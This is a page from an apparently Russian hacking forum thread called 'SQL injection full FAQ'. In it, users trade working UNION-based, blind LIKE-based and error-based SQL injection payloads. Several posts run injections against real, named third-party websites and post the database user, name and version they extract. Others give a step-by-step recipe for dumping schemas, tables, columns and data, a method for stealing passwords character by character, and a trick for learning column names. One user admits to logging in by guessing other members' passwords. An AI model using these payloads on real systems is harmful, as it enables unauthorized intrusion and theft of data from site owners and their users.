Авторские статьи SQL injection полный FAQ

Discussion in 'Статьи' started by Dr.Z3r0, 7 Jul 2007.

  1. L I G A

    L I G A Banned

    Joined:
    27 Jul 2008
    Messages:
    482
    Likes Received:
    380
    Reputations:
    49
    тривиальный пример:
    Code:
    mysql_query('select *  from  `news` where id =$_GET['id']')
     
    2 people like this.
  2. GR00nDeL

    GR00nDeL New Member

    Joined:
    30 Sep 2009
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Ну к примеру сайт http://www.mibf.ru.Захожу в любую новость
    http://www.mibf.ru/?id=52&news_id=417
    Вместо 417 вставляю 1'
    Выходят ошибки SQL(как я понял)
    Теперь не пойму...можно ли использовать SQL Injection тут,и что мне дальше делать с этим?

    П.С заметил когда в ссылке http://www.mibf.ru/?id=52&news_id=417 вместо ?id=52 вставляю 1' вылезает белое окно с ошибкой,А если на место 417 вставить...будет другой результят.С чем это может быть связанно?

    Заранее благодарю
     
  3. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    eval()'d code

    Это не SQL ошибка, а вообще мне кажется он исполняет точто приходит из бд.
    Сейчас покавыряюсь скажу.

    http://www.mibf.ru/?id=-52+union+select+1,2,3,4,5,6,7,8,9,10+--+
    >>

    http://www.mibf.ru/?id=-52+UNION+SELECT+1,2,3,4,5,6,7,concat_ws(0x3a,user(),database(),version()),concat_ws(0x3a,user(),database(),version()),10+--+
    >>>
    User: mibf@localhost
    Database: mibficom
    Version: 5.0.45
     
    #103 Ctacok, 25 Oct 2009
    Last edited: 25 Oct 2009
  4. freelsd

    freelsd Elder - Старейшина

    Joined:
    25 Oct 2007
    Messages:
    108
    Likes Received:
    25
    Reputations:
    10
    Приветствую. К сожалению, в силу своей безграмотности я так и не смог провести ни одной иньекции. Синтаксис sql немного знаю, но по статьям не получается никак.
    Как правило, грабли одни и те же. Вот к примеру
    Уязвимый скрипт register.cgi
    Количество столбцов: 2.
    Вот запрос(## убрать):
    Однако, при подстановке в одно из полей, к примеру, @@basedir или Version вывод остается неизменным. Что я делаю не так?
     
  5. Roston

    Roston Elder - Старейшина

    Joined:
    31 Jul 2008
    Messages:
    337
    Likes Received:
    104
    Reputations:
    8
    хм... скорее всего нет полей на вывод
     
  6. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    355
    Likes Received:
    314
    Reputations:
    163
    _http://www.spark-com.ru/cgi-bin/register.cgi?region_id=-1+union+select+concat_ws(0x3a,version(),user(),database()),null--
     
    #106 .:[melkiy]:., 3 Nov 2009
    Last edited: 3 Nov 2009
  7. Dr.Gonzo

    Dr.Gonzo Member

    Joined:
    26 Feb 2009
    Messages:
    29
    Likes Received:
    9
    Reputations:
    5
    подскажите пожалуйста, что делать, если на запрос
    .../?id=-1+union+select+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='author'+LIMIT+1,1+--
    выводится mysql_fetch_array(): supplied argument is not a valid MySQL result resource...

    похоже, что фильтруется кавычка, но
    .../?id=-1+union+select+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=char(27)+author+char(27)+LIMIT+1,1+--
    выводит ту же ошибку
     
  8. 9822

    9822 Banned

    Joined:
    3 Aug 2005
    Messages:
    273
    Likes Received:
    29
    Reputations:
    8
    Dr Z3r0

    можеш на примере показать код пожалуста. и пример php кода для 2 примера.


    1)САМОЕ ГЛАВНОЕ ФИЛЬТРОВАТЬ КАВЫЧКИ.
    -------------------------------
    2)Если используется оператор сравнения строк LIKE фильтровать знаки “%” и “_”
    -------------------------------
     
  9. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    MYSQL - Retrieving some column's name using Row SubQueries

    почистите тему от мусора, модеры.

    http://sla.ckers.org/forum/read.php?16,32472

    MYSQL - Retrieving some column's name using Row SubQueries
    Posted by: Paic (IP Logged)
    Date: November 25, 2009 11:56AM

    Hi,

    I've recently found an interesting way of retrieving column's name from other tables than the one used in the query when information_schema table is not accessible. It assume you've already found some table's name.
    It is using the 1%0 trick and MySQL subqueries.

    Maybe you all know about that but I would like to share it!

    I was playing around with sql subqueries when I've found something very interesting: "Row Subqueries"

    You'd better read this in order to understand what's next:
    [dev.mysql.com]

    The hint is "The row constructor and the row returned by the subquery must contain the same number of values."

    Ok, imagine you have the table USER_TABLE. You don't have any other informations than the table's name.
    The sql query is expecting only one row as result.

    Here is our input:
    ' AND (SELECT * FROM USER_TABLE) = (1);

    MySQL answer:
    "Operand should contain 7 column(s)"

    MySQL told us that the table USER_TABLE has 7 columns! That's great!

    Now we can use the UNION and 1%0 to retrieve some column's name:

    The following query shouldn't give you any error:
    ' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1);

    Now let's try with the first colum, simply add %0 to the first column in the UNION:
    ' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1);

    MySQL answer:
    "Column 'usr_u_id' cannot be null"

    We've got the first column name: "usr_u_id"

    Then we proceed with the other columns...

    Example with the 4th column:
    ' AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1);


    If MySQL doesn't reply with an error message, this is just because the column can be empty and you won't be able to get it's name!

    Paic​
     
    _________________________
    9 people like this.
  10. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Ох блин, круто! Только у меня пашет только на 4ой ветке. Ну и жаль что только для колонок NOT NULL.
     
    #110 Qwazar, 30 Nov 2009
    Last edited: 30 Nov 2009
  11. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Уже писал https://forum.antichat.ru/showpost.php?p=1716996&postcount=18
     
    3 people like this.
  12. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    1:
    PHP:
    <?PHP
    $_GET
    ['query'] = mysql_real_escape_string($_GET['query']);
    ?>
    2:
    PHP:
    <?PHP
    $_GET
    ['query'] = preg_replace("%"""$_GET['query']);
    $_GET['query'] = preg_replace("_"""$_GET['query']);
    ?>
     
    #112 Ctacok, 30 Nov 2009
    Last edited: 20 May 2010
  13. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Выложу и сюда, заманали уже просто с такими вопросами:

    Узнаем все БД:

    http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(schema_name),3,4,5,6,7,8,9,10+from+information_schema.schemata--

    Узнаем таблицы из нужной БД:

    http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10+from+information_schema.tables+where+table_schema='ИМЯ_БД'--

    Узнаем колонки из нужной таблицы из нужной БД:

    http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10+from+information_schema.columns+where+table_name='ИМЯ_ТАБЛИЦЫ'+and+table_schema='ИМЯ_БД'--

    Узнаем данные из нужной таблицы из нужной БД:

    http://site.com/index.php?page=8&id=-11+union+select+1,group_concat(ИМЯ_КОЛОНКИ),3,4,5,6,7,8,9,10+from+ИМЯ_БД.ИМЯ_ТАБЛИЦЫ--

    PS: или убрать group_concat и юзать как обычно:

    limit+0,1
    limit+1,1
    ......

    если было чото такое - удалите плз, поиском по сайту в FAQ-ах вроде нет, а спрашивают часто
     
    1 person likes this.
  14. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Боян конечно, но вроде нигде не писали

    Все чаще встречаю сайты, где либо фильтруются запятые, либо запятые участвуют в разборе QUERY_STRING при работе mod_rewrite, встречал даже ситуацию где запятые экранировались слешами. К сожалению тут особо не развернешься, но все таки можно достать нужную нам инфу, для этого надо знать имена колонок и таблиц, хотя таким же способом их можно вывести из information_schema
    Допустим юзер с id=1 имеет пароль qwerty, тогда

    id=1 and (select password from users where password like 'q%' and id=1) - запрос верный
    id=1 and (select password from users where password like 'qa%' and id=1) - запрос неверный
    id=1 and (select password from users where password like 'qw%' and id=1) - запрос верный​

    И так далее. Сложно, долго, но работает
     
    #114 Spyder, 30 Dec 2009
    Last edited: 14 Jan 2010
    2 people like this.
  15. v1d0qz

    v1d0qz Elder - Старейшина

    Joined:
    21 Jul 2007
    Messages:
    67
    Likes Received:
    90
    Reputations:
    52
    а зачем ты ставишь скобки вокруг 'q%'? Просто интересно...
     
  16. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Наверно где то увидел что надо ставить скобки в конструкции LIKE и теперь всегда их ставлю =)
     
  17. 2640750

    2640750 New Member

    Joined:
    14 May 2008
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Вы меня наверно пошлете на х*й, но хотелось бы спросить (или может быть кто-небудь сжалится над тупым дураком и согласится сам ему объяснить) где можно достать информацию об SQL injection для форумов на phpBB. А то ведь большинство форумов работают на phpBB а все что можно найти в сети обычно многолетней давности и та информация кроме как для изучения синтаксис sql и php мало чем полезна. По крайней мере для инъекций phpBB-форумов в которых фильтруется все что только можно.
    Пожалуйста не судите строга за наглость, очень уж хочется освоить такую интересную вещь как SQL injection. Буду очень признателен за помощь.
    P.S.: не смотрите что у меня такой дурацкий ник. я просто прошелся по списку пользователей и пробовал цифровые ники в качестве пароля, что б самому не регится и не загаживать список пользователей еще одной записью ради одного поста.
     
  18. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Просто в гугл вбей phpBB sql injection vuln
     
  19. 2640750

    2640750 New Member

    Joined:
    14 May 2008
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Спасибо что не послали. Поиск в гугле phpBB sql injection vuln особых результатов не дал. Все в основном на английском. Да даже и на русском то по большей части просто большие куски кода на php практически без объяснения (типа раз таким интересуешься то и так все поймешь а если не шаришь то это и к лучшему: а то понаучиваются всякие придурки инъекции проводить потом ни одного форума целого не останется). Это и понятно лет 5-7 назад инъекции проводить было гораздо легче, фильтрации данных особо не проводили и зная основы php и sql можно было прописать что-небудь типа http://forum.ru/index.php?id=-1+union+select+1,2,3,4,5,6,7,8+from+INFORMATION_SC HEMA.TABLES/*. З годами создатели всяческих phpBB совершенствовали свои творения и желающие взломать их совершенствовали свои методы. И к теперешнему времени досовершенствовались до того что новичку уже знаний основ php и sql мало. А желающих обучать малоспособных учеников особо нет.
     
  20. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    Насчёт 5-7 лет ты ошибаешься :)
    INFORMATION_SCHEMA, только в Mysql5, а Mysql5 вышел не 5-7 лет назад :) (Примерную дату даже незнаю :) )
    И тем более 5-7 лет назад небыло таких методов как сейчас, сейчас очень хорошо всё развиваеться в области ИТ безопасности.
    Насчёт English, если появляеться на Английских коммунити какие либо уязвимости, то они быстро оказываються на просторах рухека.
    Ошибайтесь, 5 лет назад про SQL injection, было очень мало контента, сейчас же на любом коммунити.
    Ну да, соглашусь, методов безопасности стало куда больше.